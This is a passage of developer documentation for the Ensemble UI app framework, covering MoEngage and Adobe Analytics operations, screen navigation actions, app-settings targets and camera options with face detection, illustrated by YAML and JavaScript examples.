+|:----------|:------------|:-------------------| +| custom | Sets a custom user attribute. Supports primitive types (String, Number, Boolean), arrays of primitives, and valid JSON objects/arrays. Cannot be empty. | attributeKey (String), value (Any supported type) | +| timestamp | Sets a date/time attribute in ISO format. | attributeKey (String), value (ISO date string) | +| locationAttribute | Sets a location-based attribute for geo-targeting. | attributeKey (String), value ({latitude: number, longitude: number}) | + +### MoEngage Event & Campaign Operations +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| trackEvent | Tracks an analytics event with optional properties. Properties support same types as custom attributes. | name (String), parameters (Object, optional) | +| showInApp | Shows an in-app message if one is available. | None | +| showNudge | Shows a non-intrusive nudge notification. If position not specified, uses default position. | value (enum: top, bottom, bottomLeft, bottomRight, any) | +| setContext | Sets the current context for in-app message targeting. Contexts determine when messages can be shown. | value (String[]) | +| resetContext | Removes all previously set contexts for in-app targeting. | None | + +### MoEngage Push Notification Operations +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| registerForPush | Registers for push notifications (iOS only). | None | +| registerForProvisionalPush | Registers for provisional push notifications (iOS only). | None | +| passFCMToken | Passes Firebase Cloud Messaging token to SDK (Android only). | value (String - FCM token) | +| passPushKitToken | Passes PushKit token to SDK (Android only). | value (String - PushKit token) | +| passFCMPushPayload | Passes FCM push notification payload to SDK (Android only). | value (Object - FCM payload) | +| requestPushPermission | Requests push notification permission (Android 13+). | None | +| updatePermissionCount | Updates count of permission requests made. | value (Number) | +| pushPermissionResponse | Notifies SDK about push permission response. | value (Boolean) | + +### MoEngage SDK Configuration Operations +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| enableSdk | Enables all SDK features. By default enabled. | None | +| disableSdk | Disables all SDK features. | None | +| enableDataTracking | Enables analytics tracking. By default enabled. | None | +| disableDataTracking | Disables all analytics tracking. No events/attributes will be tracked. | None | +| enableDeviceIdTracking | Enables device ID tracking (Android only). By default enabled. | None | +| disableDeviceIdTracking | Disables device ID tracking (Android only). | None | +| enableAndroidIdTracking | Enables Android ID tracking. By default disabled. | None | +| disableAndroidIdTracking | Disables Android ID tracking. | None | +| enableAdIdTracking | Enables advertising ID tracking. By default disabled. | None | +| disableAdIdTracking | Disables advertising ID tracking. | None | +| logout | Invalidates current user session and creates new one. | None | +| deleteUser | Deletes current user data from MoEngage (Android only). Returns UserDeletionData. | None | + +### Examples + +#### Track Event +```yaml +logEvent: + provider: moengage + operation: trackEvent + name: "level_complete" + parameters: + level: 5 + score: 1000 +``` + +#### Set User Profile +```yaml +logEvent: + provider: moengage + operation: setUserName + value: "John Smith" + onSuccess: | + //@code + console.log("User name updated") +``` + +#### Show In-App Message +```yaml +logEvent: + provider: moengage + operation: showInApp +``` + +## Adobe Analytics Provider + +Adobe Analytics provider enables comprehensive analytics tracking, user identity management, consent management, and user profile management. + +### Core Operations + +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| trackAction | Tracks user interactions and events. | name (String), parameters (Object with event details) | +| trackState | Tracks page views and screen states. | name (String), parameters (Object with state details) | +| sendEvent | Sends an Experience event to Adobe Experience Platform Edge Network. | name (String), parameters (Object with xdmData) | + +### Identity Management Operations + +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| getExperienceCloudId | Retrieves the Experience Cloud ID (ECID). | None | +| getUrlVariables | Returns the identifiers in a URL's query parameters for consumption in hybrid mobile applications. | None | +| getIdentities | Gets all identities in the Identity for Edge Network extension. | None | +| updateIdentities | Updates the currently known identities within the SDK. | parameters (Object with identities) | +| removeIdentity | Removes the identity from the stored client-side IdentityMap. | parameters (Object with item and namespace) | +| resetIdentities | Clears all identities stored in the Identity extension and generates a new Experience Cloud ID (ECID). | None | +| setAdvertisingIdentifier | Sets or removes the advertising identifier in the XDM Identity Map. | parameters (Object with advertisingIdentifier) | + +### Consent Management Operations + +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| getConsents | Retrieves current consent preferences. | None | +| updateConsent | Merges existing consents with given consents. | parameters (Object with allowed boolean) | +| setDefaultConsent | Sets default consent for the SDK. | parameters (Object with allowed boolean) | + +### User Profile Operations + +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| getUserAttributes | Gets user profile attributes matching provided keys. | parameters (Object with attributes array) | +| updateUserAttributes | Sets multiple user profile attributes. | parameters (Object with attributeMap) | +| removeUserAttributes | Removes user profile attributes matching provided keys. | parameters (Object with attributes array) | + +### Adobe Assurance Operations + +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| setupAssurance | Configures Adobe Assurance for debugging. | parameters (Object with url) | + +For detailed examples of Adobe Analytics operations, see the [Adobe Analytics documentation](../adobe-analytics.mdx). + +--- + +# Action: navigateBack + +The `navigateBack` action allows users to navigate back to the previous screen within the app’s navigation stack. It removes the current screen from the navigation history, so when the user navigates back, the previous screen reappears. This action is also useful when working with modal screens, as it closes the modal and returns the user to the originating screen. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :-------------------------------------------------------------------------------------------------------------- | +| data | object | Data object to send back to the previous screen. This allows you to pass information back when navigating back. | + +--- + +## Example: Navigating Back + +In this example, we use the `navigateScreen` action to navigate to another screen, and then use the `navigateBack` action to return to the originating screen. The `data` is used to send data back to the previous screen when navigating back. + +### Originating Screen + +```yaml +View: + styles: + scrollableView: true + body: + Column: + styles: + padding: 24 + children: + - Button: + label: Go to demo screen + onTap: + navigateScreen: + name: navigateBack Demo + onNavigateBack: + showToast: + message: ${event.data} +``` + +### Target Screen + +```yaml +View: + styles: + scrollableView: true + body: + Column: + styles: + padding: 24 + children: + - Button: + label: Go Back + onTap: + navigateBack: + data: + message: This is example of data passed when navigating back. + +``` +### Explanation + +1. **Navigate to Another Screen:** + First, the user clicks the "Go to demo screen" button, which triggers the `navigateScreen` action, navigating to a new screen called `navigateBack Demo`. + + ```yaml + - Button: + label: Go to demo screen + onTap: + navigateScreen: + name: navigateBack Demo + onNavigateBack: + showToast: + message: ${event.data} + ``` + +2. **Trigger `navigateBack` on the Target Screen:** + On the demo screen, there’s a button with the label "Go Back." When this button is pressed, the `navigateBack` action is triggered, sending a data containing a message back to the previous screen: + ```yaml + - Button: + label: Go Back + onTap: + navigateBack: + data: + message: This is example of data passed when navigating back. + ``` + +3. **Access the data on the Originating Screen:** + When the user navigates back using the `navigateBack` action, the `onNavigateBack` event is triggered on the source screen. This event gives you access to the data sent during the `navigateBack` action via `event.data`. You can then use this data to perform actions, such as displaying a message with `showToast` or updating other UI elements on the source screen. + + ```yaml + - Button: + label: Go to demo screen + onTap: + navigateScreen: + name: navigateBack Demo + onNavigateBack: + showToast: + message: ${event.data} + ``` + +You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/XjvL2XseLnRvYO4FS82e) + +--- + +# navigateModalScreen + +navigateModalScreen action enables users to open a specific screen or page as a modal overlay, creating a temporary and focused view to capture user input or display additional content without losing context of the main app flow. + +### Properties + +| Property | Type | Description | +| :------------- | :----- | :------------------------------------------------------- | +| name | string | Enter the Name or ID of your screen | +| inputs | object | Specify the key/value pairs to pass into the next Screen | +| onModalDismiss | action | Execute an Action when the modal screen is dismissed | + +#### properties-options + +| Property | Type | Description | +| :------- | :--- | :---------- | +| closeToasts | boolean | Determines whether toasts (temporary messages) should be closed automatically. Default is `true`. | + +**Note:** To close the modal from within the modal screen, just call the [navigateBack](7-navigateBack.md) action + +**Example** + + + +```yaml +View: + title: "Action: navigateModalScreen" + styles: + scrollableView: true + + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: You can open new screen on above the main screen using action `navigateModalScreen` + - Button: + label: Show Modal + onTap: + navigateModalScreen: + name: Actions & events + - Markdown: + text: You can navigateModalScreen from code blocks using `ensemble.navigateModalScreen('ScreenName');`. + - Button: + label: Show Modal Using Code + onTap: + executeCode: + body: | + //@code + + // no inputs + ensemble.navigateModalScreen('Actions & events'); + //with inputs + //ensemble.navigateModalScreen({name: 'Actions & events',inputs:{input1: 'abc', input2: 'ced'}} ); +``` + + + +You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/67ICgJIX0McKswXCybb0?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# navigateScreen + +navigateScreen action allows users to transition to a specific screen or page within the app, facilitating seamless navigation and enhancing user interaction with different sections of the application. + +Like any other action, navigateScreen may be called in YAML or in the JS code. + +### Properties + +| Property | Type | Description | +| :------------- | :----- | :-------------------------------------------------------------------------------------- | +| name | string | Enter the Name or ID of your Screen | +| inputs | object | Specify the key/value pairs to pass into the next Screen | +| options | object | [see properties](#properties-options) | +| onNavigateBack | action | triggers when users returns back to a screen it previously visited using navigateScreen | +| transition | Map | [Screen transition](#screen-transition) , [Screen transition example](#screen-transition-example) + +#### Screen Transition +Animate screen transition from one to another. + +| Property | Type | Description | +| :--- | :--- | :---| +| type | string | [transition type](#transition-type) +| alignment | string | [transition alignment](#transition-alignment) +| duration | integer| duration of transition in millisecond + +#### transition-type +| name | +| :--- | +|fade | +|rightToLeft | +|leftToRight | +|topToBottom | +|bottomToTop | +|scale | +|rotate | +|size | +|rightToLeftWithFade | +|leftToRightWithFade | +|leftToRightPop | +|rightToLeftPop | +|topToBottomPop | +|bottomToTopPop | + +#### transition-alignment +|name| +|:---| +|topLeft| +|topCenter| +|topRight| +|centerLeft| +|center| +|centerRight| +|bottomLeft| +|bottomCenter| +|bottomRight| + +#### properties-options + +| Property | Type | Description | +| :------------------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| replaceCurrentScreen | boolean | If true, the new screen will replace the current screen on the navigation history. Navigating back from the new screen will skip the current screen. | +| clearAllScreens | boolean | If true, clear out all existing screens in the navigation history. This is useful when navigating to a Logout or similar page where users should not be able to go back to the prior screens. | +| closeToasts | boolean | Determines whether toasts (temporary messages) should be closed automatically. Default is `true`. | + +**Example: Calling navigateScreen - Detailed Examples for YAML and JS** + + + +```yaml +View: + title: "Action: navigateScreen" + styles: + scrollableView: true + + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: You can navigate to another screen using action `navigateScreen` + - Button: + label: Navigate to Home + onTap: + navigateScreen: + name: Home + + - Markdown: + text: You can navigateScreen from code blocks using `ensemble.navigateScreen('ScreenName');`. + - Button: + label: Navigate to Home using code + onTap: + executeCode: + body: | + //@code + ensemble.navigateScreen('Home'); + + - Divider + + - Markdown: + text: | + #### Pass inputs + You have the option of passing inputs to the target screen. + + - TextInput: + id: messageInput + label: Message to pass + value: Hello there + + - Button: + label: Navigate and pass inputs + onTap: + navigateScreen: + name: "Action: navigateScreen inputs demo" + inputs: + message: ${messageInput.value} + + - Button: + label: Navigate and pass inputs using code + onTap: + executeCode: + body: | + //@code + ensemble.navigateScreen({ + "name": "Action: navigateScreen inputs demo", + "inputs": { + "message": messageInput.value + } + }); + + - Divider + + - Markdown: + text: | + #### options: clearAllScreens + By default, Ensemble retains your previous screens. On browser, user can press back button and get the previous view. + + When you need to remove all the previous screens from the history stack, as in a logout scenario, use `clearAllScreens: true`. + + - Button: + label: Navigate and clear all screen history + onTap: + navigateScreen: + name: Home + options: + clearAllScreens: true + + - Divider + + - Markdown: + text: | + #### options: replaceCurrentScreen + Sometimes when navigating to a new screen, you may not want the user to go back to the current screen. An example is after logging in, hitting back should not take the user back to the login screen. Use the flag `replaceCurrentScreen: true` to remove the current screen from the history stack. + + - Button: + label: Navigate to new screen and replace the current screen + onTap: + navigateScreen: + name: Home + options: + replaceCurrentScreen: true +``` + + + +You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/kgGUzKx0YiIWp96auaEO?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +**Example: Calling navigateScreen in Javascript** + +```javascript +//navigating to a screen without any options +ensemble.navigateScreen('My Screen'); +//navigating to a screen with options +ensemble.navigateScreen({name: 'My Screen',options: {replaceCurrentScreen: true}} +``` + +### onNavigateBack + +We can also make use of onNavigateBack in our navigateScreen action to achieve certain goals like calling an API when returning to screen, updating something which was modified on visited screen etc. + +**Example** +Below is only a snippet from a use case where we can perform any action inside the onNavigateBack event. We can call an API or update any particular parameter we want + +```yaml +navigateScreen: + name: "${booking.completion_status == 'confirmed' ? 'ConfirmedTrip' : 'ConfirmTripRequest'}" + inputs: + booking: ${booking} + onNavigateBack: |- + ensemble.debug("got back") +``` + +Another example where using in context of a button we are updating certain local storage items inside the context of the onNavigateBack + +```yaml +- Button: + label: Categories + styles: + outline: true + padding: 0 + labelStyle: + fontSize: 12 + color: 4288060321 + endingIcon: + name: chevron_right + color: 4288060321 + size: 16 + onTap: null + navigateScreen: + name: Spending + onNavigateBack: |- + //@code + getCategoriesAggregate(ensemble.storage.timeSpan); + +``` + +Note: here we are chaining actions onTap -> navigateScreen -> onNavigateBack etc. Also getCategories(...) is a function used to update certain local storage items. + +- We can also pass data from the visited screen to current screen using navigateBack action. let see an example for that as well. + +```yaml +View: + header: + title: Home + body: + Button: + label: Checkout Ensemble Kitchen Sink + onTap: + navigateBack: + data: # optional, can be simple or complex + var1: 1 + var2: "s t r i n g" +``` + +on visited screen using navigateBack we pass certain variables which can be accessed on previous screen using onNavigateBack event. + +```yaml +View: + header: + title: Home + body: + Button: + label: Checkout Ensemble Kitchen Sink + onTap: + navigateScreen: + name: nextScreen + onNavigateBack: |- + //@code + console.log("navigated back to main screen"); + console.log(event.data); +``` + +#### Screen Transition Example + +```yaml +View: + header: + title: Screen Transition + + body: + Button: + label: Navigate transition + onTap: + navigateScreen: + name: + transition: + type: rotate + duration: 1000 + alignment: center +``` + +--- + +# navigateViewGroup + +navigateViewGroup action allows users to navigate between menu items while maintaining the menu in place. This simulate the experience when user taps on different nav items. + +To use this action, first create your [ViewGroup](#view-group). + +### Properties + +| Property | Type | Description | +| :------------- | :------ | :-------------------------------------------------------------------------------------- | +| viewIndex | integer | The index of the menu item to navigate to, starting from 0 | +| name | string | The name of the ViewGroup. This is the name given to the screen when it was created. If the current screen is part of the ViewGroup, name is not required. | + + +### Example + + +Given the following ViewGroup, named `home`: + +```yaml +ViewGroup: + BottomNavBar: + items: + - label: Screen1 + icon: + name: home + page: NavigateViewGroupScreen1 + - label: Screen2 + icon: + name: input + page: NavigateViewGroupScreen2 + - label: Screen3 + icon: + name: settings + page: NavigateViewGroupScreen3 + +``` + +Use the `navigateViewGroup` action to nvaigate between the tabs without dismissing the menu. + + +```yaml +View: + styles: + scrollableView: true + backgroundColor: 0xFFA2728D + + header: + title: Screen 2 + styles: + backgroundColor: 0xFFA2728D + + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Button: + label: Go to NavigateViewGroupScreen1 + onTap: + navigateViewGroup: + name: home + viewIndex: 0 + + - Button: + label: Go to NavigateViewGroupScreen3 + onTap: + navigateViewGroup: + name: home + viewIndex: 2 +``` + + +This action will ensure that the menu renders when you navigate to the target screen. In contrast, using `navigateScreen` action will result in only displaying the new screen without the menu. + +--- + +# notification + +notifications action provides a comprehensive and customizable solution for managing notifications within the app, including handling incoming notifications, displaying them to users, and implementing notification-related functionalities, enhancing user experience and interaction with timely updates and alerts. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :-------------------------------------------- | +| onTap | action | Execute an Action on notification is tap. | +| onReceive | action | Execute an Action on notification is receive. | + +--- + +## onNavigateBack + +--- + +# Action: onViewGroupResume + +The `onViewGroupResume` action allows users to execute actions when navigate back to the viewGroup within the app’s navigation stack. when the user navigates back, the ViewGroup reappears and action specified under `onViewGroupResume` is executed. This action is useful when working with all type of menus. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :-------------------------------------------------------------------------------------------------------------- | +| Action | ensemble action | Any ensemble action that'll be executed when navigating back to ViewGroup. Such as `executeCode`, `showDialog`, `showToast` etc. | + + +## Example: onViewGroupResume + +In this example, we use the `navigateScreen` action to navigate to another screen, and then use the `onViewGroupResume` action to execute any user specified action while returning to screen. + +### Originating Screen + +```yaml +ViewGroup: + onViewGroupResume: + showDialog: + body: + Text: + text: onViewGroupResume executed + BottomNavBar: + items: + - label: Screen1 + icon: + name: home + page: onViewGroupResume1 + - label: Screen2 + icon: + name: input + page: onViewGroupResume2 + - label: Screen3 + icon: + name: settings + page: onViewGroupResume3 + +``` + +### Pushed Screen + +```yaml +View: + styles: + useSafeArea: true + header: + titleText: Overlay + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: This is overlay screen + + - Button: + label: Tap to Navigate Back to ViewGroup + onTap: + navigateBack: +``` +### Explanation + +1. **Navigate to Another Screen:** + First, the user clicks the "Go to another screen" button, which triggers the `navigateScreen` action, navigating to a new screen called `overlay`. + + ```yaml + - Button: + label: Go to another screen + onTap: + navigateScreen: + name: overlay + ``` + +2. **Trigger `onViewGroupResume` on the ViewGroup screen:** + On the overlay screen, there’s a button with the label "Go Back." When this button is pressed, the `onViewGroupResume` action is triggered, executing any action provided on ViewGroup screen: + ```yaml + - Button: + label: Tap to Navigate Back to ViewGroup + onTap: + navigateBack: + ``` + + +You can try complete example [here](https://studio.ensembleui.com/app/2Mc1NI4RQlrEH23sU288/screens) + +--- + +# Action: onViewGroupUpdate + +The `onViewGroupUpdate` action allows users to execute actions when update to the ViewGroup occurs. This action is useful when working with all type of menus. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :-------------------------------------------------------------------------------------------------------------- | +| Action | ensemble action | Any ensemble action that'll be executed when there's update in ViewGroup. Such as `executeCode`, `showDialog`, `showToast` etc. | + + +## Example: onViewGroupUpdate + +In this example, we use the `onViewGroupUpdate` action to execute when viewGroup is updated. + +### ViewGroup + +```yaml +ViewGroup: + BottomNavBar: + items: + - label: Screen1 + icon: + name: home + page: onViewGroupupdate1 + - label: Screen2 + icon: + name: input + page: onViewGroupUpdate2 + - label: Screen3 + icon: + name: settings + page: onViewGroupUpdate3 + +``` + +### Action execution View + +```yaml +View: + onViewGroupUpdate: + showDialog: + body: + Text: text + styles: + useSafeArea: true + header: + titleText: Overlay + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: This is overlay screen + + - Button: + label: Tap to Navigate Back to ViewGroup + onTap: + navigateBack: +``` +### Explanation + +1. **ViewGroup update:** + First, the user clicks the any menu button, which triggers the `onViewGroupUpdate` action, navigating to selected screen. + + +2. **Trigger `onViewGroupUpdate` on the View screen:** + On the selected screen, the action specified is triggered automatically. Executing the action specified under `onViewGroupUpdate`. + + +You can try complete example [here](https://studio.ensembleui.com/app/2Mc1NI4RQlrEH23sU288/screens) + +--- + +# openAppSettings + +Applicable on iOS/Android only. Opens the app settings page where the user can manage app permissions and settings. If `target` (optional) is provided and supported on the current running platform, it will open the specific setting page, otherwise the "Settings" screen will be opened. + +**Inputs**: + +`target (optional)`: the specific setting screen (see below) to open. Defaults to "settings" if not specified. + +### Properties + +| Target | Supported Platforms | Description | +| -------------------------------- | ------------------- | ------------------------------------------------------------- | +| settings | Android, iOS | Open the main settings page | +| accessibility | Android, iOS | Open the accessibility settings | +| bluetooth | Android, iOS | Open the Bluetooth settings | +| date | Android, iOS | Open the date and time settings | +| display | Android, iOS | Open the display settings | +| location | Android, iOS | Open the location settings | +| sound | Android, iOS | Open the sound/audio settings | +| wifi | Android, iOS | Open the WiFi settings | +| security | Android, iOS | Open the security settings | +| hotspot | Android, iOS | Open the personal hotspot settings | +| appSettings | Android, iOS | Open the app-specific settings | +| notification | Android, iOS 16+ | Open the notification settings | +| apn | Android | Open the APN (Access Point Name) settings | +| batteryOptimization | Android | Open the Battery Optimization settings | +| dataRoaming | Android | Open the Data Roaming settings | +| developer | Android | Open the Developer options | +| device | Android | Open the device information settings | +| internalStorage | Android | Open the internal storage settings | +| lockAndPassword | Android | Open the lock screen and password settings | +| nfc | Android | Open the NFC settings | +| memoryCard | Android | Open the memory card settings | +| addAccount | Android | Open the add account screen | +| airplaneMode | Android | Open the airplane mode settings | +| applicationDetails | Android | Open the application details screen | +| applicationNotification | Android | Open the application notification settings | +| applicationSettings | Android | Open the application settings | +| applicationWriteSettings | Android | Open the application write settings | +| batterySaver | Android | Open the battery saver settings | +| captioning | Android | Open the captioning settings | +| cast | Android | Open the cast settings | +| dataUsage | Android | Open the data usage settings | +| appNotificationBubble | Android | Open the app notification bubble settings | +| appNotification | Android | Open the app notification settings | +| search | Android | Open the search settings | +| biometricEnroll | Android | Open the biometric enrollment screen | +| hardwareKeyboard | Android | Open the hardware keyboard settings | +| home | Android | Open the home screen settings | +| ignoreBackgroundDataRestrictions | Android | Open the background data restriction settings | +| inputMethod | Android | Open the input method settings | +| inputMethodSubtype | Android | Open the input method subtype settings | +| locale | Android | Open the locale settings | +| manageAllApplications | Android | Open the manage all applications screen | +| manageApplication | Android | Open the manage application screen | +| manageDefaultApps | Android | Open the manage default apps screen | +| manageExternalSources | Android | Open the manage external sources screen | +| manageOverlay | Android | Open the manage overlay settings | +| vpn | Android | Open the VPN settings | +| wireless | Android | Open the wireless settings | +| icloud | iOS | Open the iCloud settings | +| privacy | iOS | Open the privacy settings | +| cellular | iOS | Open the cellular settings | +| siri | iOS | Open the Siri settings | +| photos | iOS | Open the photos and camera settings | +| keyboard | iOS | Open the keyboard settings | +| general | iOS | Open the general settings | +| about | iOS | Open the about device screen | +| accountSettings | iOS | Open the account settings | +| autoLock | iOS | Open the auto-lock settings | +| battery | iOS | Open the battery settings | +| dictionary | iOS | Open the dictionary settings | +| facetime | iOS | Open the FaceTime settings | +| healthKit | iOS | Open the HealthKit settings | +| music | iOS | Open the music settings | +| keyboards | iOS | Open the keyboards settings (for managing multiple keyboards) | +| languageAndRegion | iOS | Open the language and region settings | +| phone | iOS | Open the phone settings | +| profilesAndDeviceManagement | iOS | Open the profiles and device management screen | +| softwareUpdate | iOS | Open the software update screen | +| storageAndBackup | iOS | Open the storage and backup settings | +| wallpapers | iOS | Open the wallpapers settings | +| subscriptions | iOS 15+ | Open the subscription settings | + +--- + +# openCamera + +`OpenCamera` action enables users to access their device's camera, capturing images or videos directly from the app, enhancing interactivity and enabling seamless integration of media functionalities within the application. With `id` property we can bind results of camera. Then use the `onComplete` properties to execute other actions after capture or selection is done. + +### Properties + +| Property | Type | Description | +| :--------- | :----- | :--------------------------------------------------------------------------------- | +| id | string | Give the camera an ID, allows you to bind to its result. e.g. ${cameraId.files...} | +| onComplete | action | Execute an Action after completing capturing media | +| onClose | action | Execute an Action on camera close | +| onCapture | action | Execute an Action on each capture | +| options | object | different options to chose for `openCamera` action. [see properties](#) | +| overlayWidget | widget | Custom overlay Widget to display over camera. | +| loadingWidget | widget | Custom widget to show for loading indicator in camera. | + +#### properties.options + +| Property | Type | Description | +| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------- | +| mode | string | Modes of camera. It can be photo only i.e allows to capture just photo. Similarly video or can be both. `photo` `video` `both` | +| initialCamera | string | Initialize either camera, back or front. `back` `front` | +| allowGalleryPicker | boolean | Allow users to pick media from gallery. Default (true). | +| allowCameraRotate | boolean | Allow users rotate camera i.e back and front. Default (true). | +| allowFlashControl | boolean | Allow users to control flash options. Default (true). | +| preview | boolean | If set true, users can view captured/selected media. | +| maxCount | number | It used to control number of media that can be captured/selected | +| maxCountMessage | string | Custom message to show when captured/selected media is greater than maxCount | +| minCount | number | It used to control number of media that can be captured/selected | +| minCountMessage | string | Custom message to show when captured/selected media is greater than minCount | +| permissionDeniedMessage | string | Set custom message when access to camera is denied | +| nextButtonLabel | string | Set custom label on next button. | +| cameraRotateIcon | widget | Set custom icon for camera rotate button. [see here](/pages/widget-reference/Icon.md) | +| galleryPickerIcon | widget | Set custom icon for gallery picker button. [see here](/pages/widget-reference/Icon.md) | +| focusIcon | widget | Set custom icon for focus node. | +| assistAngle | object | Show assist message whenever angle goes below minAngle or above minAngle. [see properties](#values-for-optionsassistangle) | +| assistSpeed | object | Show assist message whenever camera is moving faster than maxSpeed. [see properties](#values-for-optionsassistspeed) | +| autoCaptureInterval | integer | If set any number n, on each n interval camera will capture | +| captureOverlay | boolean | If set picture will be cropped according to overlay widget | +| faceDetection | object | Enable face detection. [see properties](#values-for-optionsfacedetection) | + +##### Values for options.assistAngle + +| Property | Type | Description | +| :------------------------- | :----- | :-------------------------------------------- | +| minAngle | number | Minimum angle | +| maxAngle | number | Maximum Angle | +| maxAngleassistAngleMessage | number | Custom message to show when condition is hit. | + +##### Values for options.assistSpeed + +| Property | Type | Description | +| :----------------- | :----- | :-------------------------------------------- | +| maxSpeed | number | Maximum speed in km/hr. | +| assistSpeedMessage | number | Custom message to show when condition is hit. | + +##### Values for options.faceDetection + +| Property | Type | Description | +| :------------------------ | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------ | +| enabled | boolean | Enable face detection. | +| message | string | use this pass a message above the camera | +| messageStyle | object | style applied to the message widget | +| showControls | boolean | set false to hide all controls | +| showCaptureControl | boolean | set false to hide capture control icon | +| showFlashControl | boolean | set false to hide flash control control icon | +| showCameraLensControl | boolean | set false to hide camera lens control icon | +| indicatorShape | string | use this to change the shape of the face indicator `circle`, `square` | +| autoDisableCaptureControl | boolean | set true to disable capture control widget when no face is detected | +| autoCapture | boolean | set true to capture image on face detected | +| imageResolution | string | use this to set image resolution `low`, `medium`, `high` | +| defaultFlashMode | string | use this to set initial flash mode `off`, `auto`, `always` | +| performanceMode | string | Use this to set your preferred performance mode. `accurate`, `fast` | +| accuracyConfig | object | Use this to set accuracy config for face detection. Accuracy config is only supported on web. [see properties](#values-for-optionsfacedetectionaccuracyconfig) | + +##### Values for options.faceDetection.accuracyConfig + +> [Note] +> Accuracy config is only supported on web. + +| Property | Type | Description | +| :------------------------- | :----- | :--------------------------------------------------------------------------- | +| detectionThreshold | number | Minimum confidence score required to consider a face detection valid. | +| intersectionRatioThreshold | number | Minimum allowed overlap ratio between the detected face and expected region. | +| extraHeightFactor | number | Additional height factor added to the face bounding box. | +| inputSize | number | Size of the input image used for face detection. | +| landmarkRatio | number | Minimum acceptable alignment accuracy for facial landmarks. | +| frameMargin | number | Margin ratio to ensure face is not too close to frame edges. | +| tiltAngleThreshold | number | Maximum allowed tilt angle of the detected face (in degrees). | +| horizontalCenterTolerance | number | Allowed tolerance for how centered the face must be horizontally. | +| earThreshold | number | Minimum Eye Aspect Ratio (EAR) to detect open eyes. | +| minFaceWidthRatio | number | Minimum ratio of face width relative to the frame. | +| maxFaceWidthRatio | number | Maximum ratio of face width relative to the frame. | +| qualityPassThreshold | number | Minimum quality score required for a face to pass detection. | +| yawLowerThreshold | number | Lower bound of acceptable yaw (left-right head rotation) ratio. | +| yawUpperThreshold | number | Upper bound of acceptable yaw (left-right head rotation) ratio. | + + +**Usage Examples** + + + +```yaml +View: + header: + title: "Action: openCamera" + styles: + scrollableView: true + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Open Camera + onTap: + openCamera: + id: cameraId + + options: + mode: photo + + - Conditional: + conditions: + - if: ${cameraId.files.length > 0} + Carousel: + item-template: + data: ${cameraId.files} + name: file + template: + Image: + source: ${file.path} +``` + + + +`openCamera` also comes with options + + + +```yaml +- Button: + label: Camera with options + onTap: + openCamera: + id: cameraId1 + options: + allowGalleryPicker: true + allowCameraRotate: true + allowFlashControl: true + preview: true + maxCount: 2 + mode: photo + +- Conditional: + conditions: + - if: ${cameraId1.files.length > 0} + Carousel: + item-template: + data: ${cameraId1.files} + name: file + template: + Image: + source: ${file.path} +``` + + + +`openCamera` also comes with advance options + +- assistAngle, show message when phone angle goes below min angle or goes beyond max angle. +- assistSpeed, show message when phone goes beyond max speed. +- minCount/maxCount, type is a number and can also be set to `minCount: ${ensemble.storage.xyz}` to get a dynamic value + + + +```yaml +- Button: + label: Camera with advance options. + onTap: + openCamera: + options: + allowGalleryPicker: true + allowCameraRotate: true + allowFlashControl: true + preview: true + + assistAngle: + minAngle: 80 + maxAngle: 100 + assistAngleMessage: Please try to keep angle approx. 90 degree. + + assistSpeed: + maxSpeed: 10 + assistSpeedMessage: Please try to speed below 10 km/hr. +``` + + + +`openCamera` also comes with custom overlay widget + +- captureOverlay, crop image according to overlay widget. +- height/width, required to specify the crop area of widget. + + + +```yaml +- Button: + label: Camera with overlay widget. + onTap: + openCamera: + options: + captureOverlay: true + + loadingWidget: + Progress: + display: circular + id: loading + visible: false + + overlayWidget: + Column: + styles: + height: 170 + width: 260 + children: + - Image: + source: https://i.imgur.com/rEYx444.png +``` + + +You can capture and upload to specified API + + + +```yaml + - Button: + label: Capture and upload + onTap: + openCamera: + id: captureMedia + onComplete: + uploadFiles: + id: uploader + files: ${captureMedia.files} + uploadApi: fileUploadApi + fieldName: files + inputs: + url: + + + - Markdown: + text: ${uploader.body} + +API: + fileUploadApi: + inputs: + - url + uri: ${url} + method: POST +``` + +You can clear previous camera results while recapturing using `cameraId.clear()` + +```yaml +- Button: + label: Clear Previous Result and Capture + onTap: + executeCode: + body: | + captureLatest.clear() + onComplete: + openCamera: + id: captureLatest +``` + +Capture image on face detected + +```yaml +- Button: + label: Open Camera + onTap: + openCamera: + id: cameraWithFaceDetection + options: + initialCamera: front + faceDetection: + enabled: true + autoCapture: false + performanceMode: accurate + accuracyConfig: # accuracyConfig is only supported on web + detectionThreshold: 0.5 + intersectionRatioThreshold: 0.9 + extraHeightFactor: 0.6 + inputSize: 224 + landmarkRatio: 0.95 + frameMargin: 0.05 + tiltAngleThreshold: 6 + horizontalCenterTolerance: 0.08 + earThreshold: 0.25 + minFaceWidthRatio: 0.18 + maxFaceWidthRatio: 0.82 + qualityPassThreshold: 0.8 + yawLowerThreshold: 0.85 + yawUpperThreshold: 1.15 + message: "Align your face in the square" + messageStyle: + color: "#FF0000" + fontSize: 20 + onCapture: + 